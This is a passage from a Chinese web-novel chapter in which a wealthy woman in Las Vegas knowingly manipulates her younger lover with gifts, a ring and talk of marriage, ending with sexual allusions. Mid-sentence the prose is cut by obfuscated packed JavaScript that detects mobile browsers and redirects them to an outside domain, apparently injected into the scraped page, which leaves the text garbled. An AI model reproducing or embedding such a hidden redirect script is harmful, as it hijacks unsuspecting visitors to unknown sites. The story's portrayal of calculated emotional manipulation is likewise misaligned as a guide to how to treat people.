慕邵凡垂着眸子:“嗯,是……” “那你会不会对我印象很深刻?” “会。” “就算以后不做我的小狗了,也会想我吗?” “……会的。” 廖筠得到满意答案,突然用力抱住他的脖子,把脸贴在他的脸上:“就知道你最乖了。以后你不要给别人唱歌了好不好,只给我唱,好吗?” 慕邵凡不明白她的意思:“……是你让我去唱的。” “是我让你去的,可是我后悔了,”她语气难得娇纵,红唇贴着他的耳朵,低哑的声音有些霸道,“你在台上的时候他们都看着你,我很不喜欢。我想把你藏起来,不准别人看你,不准别人听你的声音。我发现我现在特别喜欢你,如果你被别人也喜欢了……我会生气的。” 慕邵凡浑身像过了电似的,分不清是在颤栗还是欣喜。 手指下意识收紧,吞了口唾沫:“我不会让别人喜欢我。” 廖筠亲昵地蹭蹭他的耳朵,推开他,目光沉沉:“那你还生我的气吗?” 他再次移开眸子:“没有。” “骗人,”廖筠挑起他的下巴,逼迫他抬头对视,“他们都在欺负你,你很不高兴吧。你明明生气了。” 慕邵凡眉心微蹙:“……你想让我怎么回答?” 廖筠故作神伤,好像比他更委屈:“我想让你以后信任我,遇到事情告诉我,而不是闷在心里难过。不管是这些陌生人,还是小张总,或者其他的谁,谁让你受到伤害,你都可以理所应当地躲在我身后,你可以跟我求救的,因为我一定会帮你。” 洒饵,不需要鱼钩,只要鱼傻傻地循过来,就已经陷入了海王的情感操纵。 掩藏着眸中的戏谑和玩味,她深情地在他嘴角落下一吻:“虽然你不信,但我想做小狗真正的主人。” 13. 13,爱玩 慕邵凡有点懵。 所以他没做错事,廖筠也没惩罚他,这件事到头来竟然只怪他自己? “我后悔了,我承认,我是爱玩,又在乎面子,可我对你还算不错吧,”廖筠丧气似的坐在他腿上,短裤贴着他衬衫的衣摆,“那你呢?你还愿意做我的小狗吗?刚才一看到我就石更了,可以算在乎我的证据对吗?” 她一直都是很主动的,且善于引导。 直白的话就像把他的神经撩断了似的,让他面色一红,又变成了那朵纯情可怜的小白花:“……我当然很在乎你,我愿意做你的小狗。” 廖筠心里想笑。 男人都是下半身动物,在发丨情的时候尤其爱摆出一副下贱的深情样。在这种时候,如果能适时地玩一把游戏,绝对会更好地拿捏他,只可惜她现在没兴趣碰他。 敷衍的在他嘴角亲了亲:“作为补偿,待会儿逛街的时候我挑一件礼物送给你,不许拒绝。这是乖乖小狗应得的。” 站起身,她让他去卫生间整理好自己,又指挥他换了件新衬衫,教他重新穿戴好衬衫夹,系上领带,打扮得漂漂亮亮,收拾妥当,外面的气温正好没那么热了。 他们先去吃了点东西,期间廖筠又喝了一瓶酒,没醒的醉意立马涌了上来,走的时候手里还拎了一瓶,步子晕晕乎乎。 为了多逛一会儿,她穿着T恤短裤和运动鞋,长发高高梳着马尾,戴着粉色墨镜,和慕邵凡站在一起虽然风格不搭,但更像普通的男女朋友,路上一直牵着他的手,有事没事就摸摸他,把他撩得五迷三道,水汪汪的小狗眼睛就没从她身上移开过。 显然在这种患得患失和自我怀疑中,他已经被她掌控了精神世界的脆弱天平。 越被她玩弄,越对她依赖,早晚有一天会彻底相信,这种挠心挠肺的酸涩感就是被爱的感觉。反正他又没有被爱过,她说什么就是什么。 逛了两个多小时,要送给亲戚们的买得差不多了,廖筠开始给慕邵凡挑礼物。走进一家不起眼的复古风装潢小店,她看里面的物件虽然罗列得很杂,但是竟然有些古董好货,于是耐心地转了转。 店主是个白人老头,戴着个金丝圆框老花镜,正在柜台上擦拭什么小玩意儿。 廖筠环顾一圈,最后把目光落在店主手边,一条藏蓝色手帕上放着一枚复古的银制戒指。素雅,古朴,嵌着一颗美丽的钻石。 胳膊撑着柜台,她点评道:“这个小东西还蛮好看。” 店主瞥她,开口是地道的中文:“这是古董,比我还老,祖传的。你喜欢可以看看,不过不卖。” 廖筠把酒瓶放到一旁,眼睛都有点花了,捏起戒指仔细看了看,保养不错,但并不属于收藏级别,流落在普通人手里,难免有岁月的磨痕。往手上戴了一下,大了好几圈。 店主说:“男款的赫拉克勒斯之结,TrueLoveKnot,你戴不合适。” 廖筠嫌弃:“古希腊神话,乱得就像男人吃错药疯死之前的臆想,确实不合适。”刚要把戒指放下,眼睛一转,又抓起慕邵凡的手,“给你试试。” 慕邵凡下意识拒绝:“不好吧……” “有什么不好,这可是真爱之戒啊,”她眨着醉意微醺的眸子调笑他,“小狗戴上戒指会想嫁人吗?” 慕邵凡一愣。 廖筠顺势把戒指从他无名指尖套上,一推到底。 他手指修长,棱骨分明,很适合戴银饰。那点小钻看起来不起眼,却像一颗小星星,点缀作用非凡。 “啊,真好看。逛了这么半天,似乎没有比这枚戒指更适合你的了。” 样式合适,寓意也合适,自以为是地接近她,跟发疯的臆想没什么区别。可笑的真爱,就应该配可笑的人。 廖筠捏着他的手指举起来欣赏一番:“你喜欢吗?” 不等慕邵凡回答,店主差点越过柜台上来抢:“都说了不卖!这可是古董,是古董!祖传的!你再看看别的吧。” 廖筠才不管那么多,豪气地对店主说:“我要这个。”说着朝保镖勾手,“给钱。” 店主着急:“姑娘,我说的是中文的‘不卖’!” “我听见了,我又不聋,你说‘钱不够’,”继续招呼保镖,“再给。” 店主看她打扮普通,又满身酒气,以为她在开玩笑,摇着头看她折腾,可是当她把价格抬到十万美金的时候,店主眼都快笑没了。戒指虽是真古董,但远不值这个价。连忙改口要帮她包起来,还把刚才正在擦拭的手工对戒免费赠送他们。 对戒是很简单的素圈银饰,没什么特色,廖筠欣然接受,把男款叠戴在了慕邵凡的手上。 慕邵凡看到内圈有字,刻的是“APricelessLove”,正想跟她说说,但她却转头把女款的随手扔进了袋子里。就像花重金给狗买了个漂亮的项圈,从没有主人跟着一起戴的道理。 廖筠察觉到他目光黯然,笑着说:“宝贝,我平时不习惯戴戒指,你没发现吗?别多想。” 慕邵凡不好意思地点点头:“嗯,我没多想。我只是想跟你说,他这个里面刻字还挺好看的。” 店主得意:“这是纯手工打造的,全世界仅此一对,无价之宝!” 廖筠撇了撇嘴,拉着慕邵凡边往外走边小声吐槽:“我小时候还叠过全世界仅此一架的纸飞机呢,他真能吹呼。” 慕邵凡忍不住也笑了。 推开店门,此时天色发暗,光线昏黑。廖筠醉得步子一歪,让随行保镖开了一瓶新酒,随口聊道:“我虽然喜欢珠宝,但不知道为什么,对戒指不感冒。不过你们FROLA每年推出的盛夏系列戒指我倒是有关注,很有收藏价值,而且很漂亮。” 慕邵凡扶住她手臂:“你最喜欢哪一款?” “最喜欢……应该是14年那款红钻,根据公开的设计稿,除了戒指还有配套的项链和耳环,可惜竟然不对外展览,也不知道被谁收藏了。”廖筠朝他眨眨眼睛,“怎么,你要帮我走走关系,打听打听?” 慕邵凡正对她心怀感动,听她这么说,满脸认真道:“我可以找人问问。” “那你只管去问吧,钱不是问题,我一直很想收藏那套首饰,可惜FROLA不是有钱就能买到的。你作为黄老师的徒弟,是不是应该有点内部特殊待遇?” “……是有一点,不过也没什么特殊的。我会想办法去问的。” 敢这么说,他肯定在黄诗灵那里有一定的地位,兴许在FROLA内部也有点作用,只不过很多时候在自谦,或者故意骗人。 廖筠现在对他非常反感,表演信任的代价,就是对他失去了信任。 甚至一想到自己昨晚竟然为了他这个虚伪的狗东西,忽视了过生日的小狐狸,心里不禁生出了一丝愧疚。 作为她关系维持最久的伴侣,张洵还是很讨她喜欢的,在她心里的地位就和正宫差不多。无论在外怎么彩旗飘飘,怎么玩得花里胡哨,家里的正宫还是得好好哄着才行。 眼下,廖筠笑着牵起慕邵凡的左手,亲了亲那两枚戒指,趁热打铁:“你知道吗,他们说在拉斯维加斯,只要两个人想结婚,全世界都不能阻拦他们。一想到小狗要去帮我找我最喜欢的戒指,突然好期待。如果我们能互送戒指, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14305474|151953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是也算互明心意了?” 上位者画一个结婚的饼,是用来钓傻子最低成本的方法。 慕邵凡果然被她的话搅乱了心神,愣愣地被她牵着走过十字路口,一时忘了回答。 她太喜欢喝酒了,今天的酒就像在为宰杀慕邵凡这只愚蠢的猎物磨刀助兴,尤为让她兴奋。长发肆意地飘摇在风中,她的背影如同被夕阳扫了一层粉金色的光,漂亮而梦幻,迷得人移不开眼。 慕邵凡痴痴看着她,又看向两人十指相扣的手,情到深处,几乎难以自己地说:“没有人送给过我这么贵重的礼物,也没有人像你对我一样好……” 廖筠嘴角扬起很浅的嘲讽,睨他一眼:“我就知道这枚戒指适合你,你一定会喜欢的。” 小狗点头:“喜欢。很喜欢。” 她又喝了口酒。 照这么发展下去,今晚再睡他一下差不多就能套出话来了。她有点迫不及待地想看小狗计划败露时慌张的蠢样。 记忆的最后,他们背对着夕阳余晖,沉醉在拉斯维加斯微风撩人的傍晚。那条他们一同牵手走过的长街,尽头盛放着一片赤红的火。 赌城如昼的灯影交相辉映,割裂着这个即将被黑暗完全笼罩的世界,就像从天堂遗落了一场纸醉金迷的黄粱梦,天旋地转,让人沦陷。 …… 廖筠断片了。 等到再次拥有意识,记忆的两端突兀衔接,她正躺在酒店的床上。 生物钟错乱,也不知道是几点,屋里窗帘拉得很死,一片漆黑。她伸手摸了摸,打开床头灯。刺目的灯光猛地晃了她一下,闭眼时有一抹红光一闪而过。 努力眨了眨干涩的眼睛,她抬起刚才开灯的左手,无名指赫然有一枚红色戒指。 准确地来说,是红钻戒指。 空白的大脑忽然应景地浮现起那条余霞成绮的长街。 满眼深情的慕邵凡跟在她身边,傻乎乎地表忠心:“你等我一下,我去打个电话。你喜欢的那套首饰我一定会为你找来的。” 所以…… 他还真找来了? 廖筠犹疑地摸了摸自己的脖子和耳朵,果然,昨晚是戴着饰品睡的。 她记得他说,14年推出的那款盛夏系列首饰名字叫OGNICOSA,和他唱的那首歌名一样,意为“一切”。 其中戒指是红钻,1.9克拉,项链和耳环则是莫桑鸽血红,9.9克拉。 连夜从洛杉矶空运过来,他把它们全都戴在了她身上。尤其是在戴戒指的时候,他把指环抵在她的无名指尖,明知道她已经醉了,还是固执地向她确认:“要戴吗?” 就像在勾引她似的。 诱饵还是她喜欢了很久的首饰。 在那种时候,多犹豫一秒都是对她财产的不尊重,所以她直接自信地把手指伸了进去。 然后…… 然后他们做了什么? 她酒量很好,正常喝酒后发生的事情不会完全忘记,像芳州那种失忆现象纯属意外中的意外。 努力回想着昨晚更多的画面,零零星星想起一些,但可惜刚睡醒的大脑还没完全启动,越用力回忆反而越有点罢工的意思。 她爬起来,打算先去洗个澡清醒清醒,结果刚下床,腿竟然发软,跌坐在了厚厚的地毯上。 她从文善商,并不热衷运动,为了身体健康每周锻炼一次就很不容易了,昨晚这一断片,身体就像跑了好几个八百米,浑身肌肉疼痛酸丨胀,感觉就没有一块儿好地方。 低头看着身上的吊带睡裙,暴露在外的手腕,胸前,甚至大腿,吻丨痕遍布。